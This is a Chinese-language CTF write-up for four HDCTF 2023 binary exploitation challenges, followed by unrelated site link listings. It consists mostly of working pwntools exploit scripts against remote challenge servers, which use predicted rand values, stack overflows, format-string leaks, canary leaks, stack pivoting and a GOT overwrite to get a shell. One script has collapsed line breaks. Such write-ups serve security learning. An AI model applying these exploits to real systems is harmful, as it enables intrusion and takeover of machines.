pwnner

附件

有后门函数,seed是一个固定值,

//伪随机数
#include <stdio.h>
#include <stdlib.h>
int main()
{
int b;
srand(0x39);
for (size_t i = 0; i <1; i++)
{
b = rand() ;
printf("%d ", b); #1956681178
}
return 0;
}
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

p = remote('node1.anna.nssctf.cn',28067)

p.sendafter("name:\n",'1956681178')

payload = 'a'*0x48 +p64(0x4008B3)

p.sendlineafter("next?\n",payload)

p.interactive()

KEEP ON

附件 普通的栈迁移,用格式字符串漏洞泄露old_rbp ,

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

p=remote('node4.anna.nssctf.cn',28609)

p.sendafter(": \n",'%16$p')

p.recvuntil('0x')

rbp = int(p.recv(12),16)

print(hex(rbp)) 

payload ="aaaaaaaa" +p64(0x4008d3)+p64(rbp-0x60+0x20)+p64(0x4005e0)+'/bin/sh\x00'

payload = payload.ljust(0x50,'a') +p64(rbp-0x10-0x50)+p64(0x4007f2)

p.recvuntil("keep on !\n")

p.send(payload)

p.interactive()

Makewish

附件 没有种子函数,默认为0,用gdb调试或用第一题的伪随机数脚本可以得到随机数,

用puts泄露canary,off by null 漏洞,覆盖rbp最后一字节为\x00,实现栈迁移

即使exp是真确的,也不能保证百分百一次性打通,

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

p = remote('node4.anna.nssctf.cn',28727)

system = 0x4007Cb

ret = 0x4005d9

p.sendafter("name\n\n",b'a'*0x29)

p.recvuntil('a'*0x29)

canary = u64(p.recv(7).rjust(8,'\x00'))

print(hex(canary))

p.sendafter("key\n\n",p32(0x000002c3))  #由于read只能读四个字节,不能用sendline,

payload = p64(ret)*10 +p64(system)+p64(canary)

p.sendafter("welcome to HDctf,You can make a wish to me\n",payload)

p.interactive()

Minions

附件 计算偏移,用%d$n (d:表示十进制数) 往key写数据,或者用fmtstr_payload{偏移,{key:数据}}

这道题用栈迁移迁到0x6010C0,是不可行的,因为0x6010C0离非rw段太近了

          0x600000           0x601000 r--p     1000     #非rw段
0x601000 0x602000 rw-p 1000

我将介绍两种方法解决这道题目

方法一

栈循环一次,栈迁移到更高的地方

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

p = remote('node1.anna.nssctf.cn',28190)
#p = process('./4')
elf = ELF('./4')
def d():
gdb.attach(p)
pause() bss = elf.bss(0xe00) rdi = 0x400893 leave_ret = 0x400758 key = 0x6010A0 again = 0x4007DE system = 0x4005c0 binsh = 0x6010C8 payload = '%102c%8$n'+'a'*7 +p64(key) p.sendlineafter("Welcome to HDCTF.What you name?\n\n",payload) payload = 'a'*0x30 +p64(bss+0x30)+p64(again) p.sendafter("welcome,tell me more about you\n",payload) p.sendlineafter("That's great.Do you like Minions?\n",'/bin/sh\x00') payload = p64(rdi)+p64(binsh)+p64(system) payload = payload.ljust(0x30,'\x00')+p64(bss-8)+p64(leave_ret) p.sendafter("welcome,tell me more about you\n",payload) p.sendlineafter("That's great.Do you like Minions?\n",'/bin/sh\x00'*5) p.interactive()

方法二

栈循环两次,将printf_got修改为system

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

p = remote('node1.anna.nssctf.cn',28627)

elf = ELF('./4')

key = 0x6010A0

main  =0x4007Ae 

system = 0x4005c0

payload = '%102c%8$n'+'a'*7 +p64(key)

p.sendlineafter("Welcome to HDCTF.What you name?\n\n",payload)

payload2 = 'a'*0x38+p64(main)

p.sendafter("welcome,tell me more about you\n",payload2)

p.sendafter("That's great.Do you like Minions?\n",'/bin/sh\x00')

payload = fmtstr_payload(6,{elf.got['printf']:system})

p.sendafter("Welcome to HDCTF.What you name?\n\n",payload)

p.sendafter("welcome,tell me more about you\n",payload2)

p.sendafter("That's great.Do you like Minions?\n",'/bin/sh\x00')

p.sendafter("Welcome to HDCTF.What you name?\n\n",'/bin/sh\x00')

p.interactive()

HDCTF_2023的更多相关文章

随机推荐

  1. c# datagridview列宽自适应设置

  2. 【Access】清空数据并重置自增主键

    DELETE FROM tasks ALTER TABLE tasks ALTER COLUMN id COUNTER(1,1)

  3. 转发:All in one:项目级 monorepo 策略最佳实践

    0. 前言 在最近的项目开发中,出现了一个令我困扰的状况.我正在开发的项目 A,依赖了已经线上发布的项目 B,但是随着项目 A 的不断开发,又需要不时修改项目 B 的代码(这些修改暂时不必发布线上), ...

  4. excel编辑受限的密码保护破解

    录制一个宏并且执行: Public Sub 工作表保护密码() Const DBLSPACE As String = vbNewLine & vbNewLine Const AUTHORS A ...

  5. swiper常见问题、动态加载数据问题

    swiper加载静态文件是没有问题的 swiper加载动态文件需要在请求后再加载这个函数 参考链接:  https://blog.csdn.net/webzrh/article/details/781 ...

  6. ssh基于主机名访问

    登录一台服务器我们可以用ssh user@IP这种方式 还有一种快捷的方式,就是基于主机名访问,这需要先配置 /etc/hosts文件 假如我们又两台主机 192.168.75.131/165 分别为 ...

  7. MySQL学习(五)事务

    参考博客:https://www.cnblogs.com/kismetv/p/10331633.html 0.提交和回滚 注:mysql默认自动开启了事务. -- 手动开启事务 start trans ...

  8. 基于springboot实现SSM整合

    (1)SpringBoot整合Spring(不存在) (2)SpringBoot整合SpringMVC(不存在) (3)SpringBoot整合MyBatis(主要) 一.新建springboot项目 ...

  9. Centos Linux 设置 jar 包 开机自启动

    1.设置jar包可执行权限 点击查看代码 mkdir /usr/java cd /usr/java chmod 777 xxx.jar 2.编写脚本文件 touch xxx.sh 将文件放置到 /us ...

  10. PHP 图片的合并,微信小程序码合并,文字合并

    //业务需求:我们需要一个微信小程序码,但是是需要提供给别人扫码的但是只有一个纯粹的小程序码是不好看的,所以需要推广的海报图片.再结合文字 最终效果 准备工作  1.需要海报的底图  2.小程序码的图 ...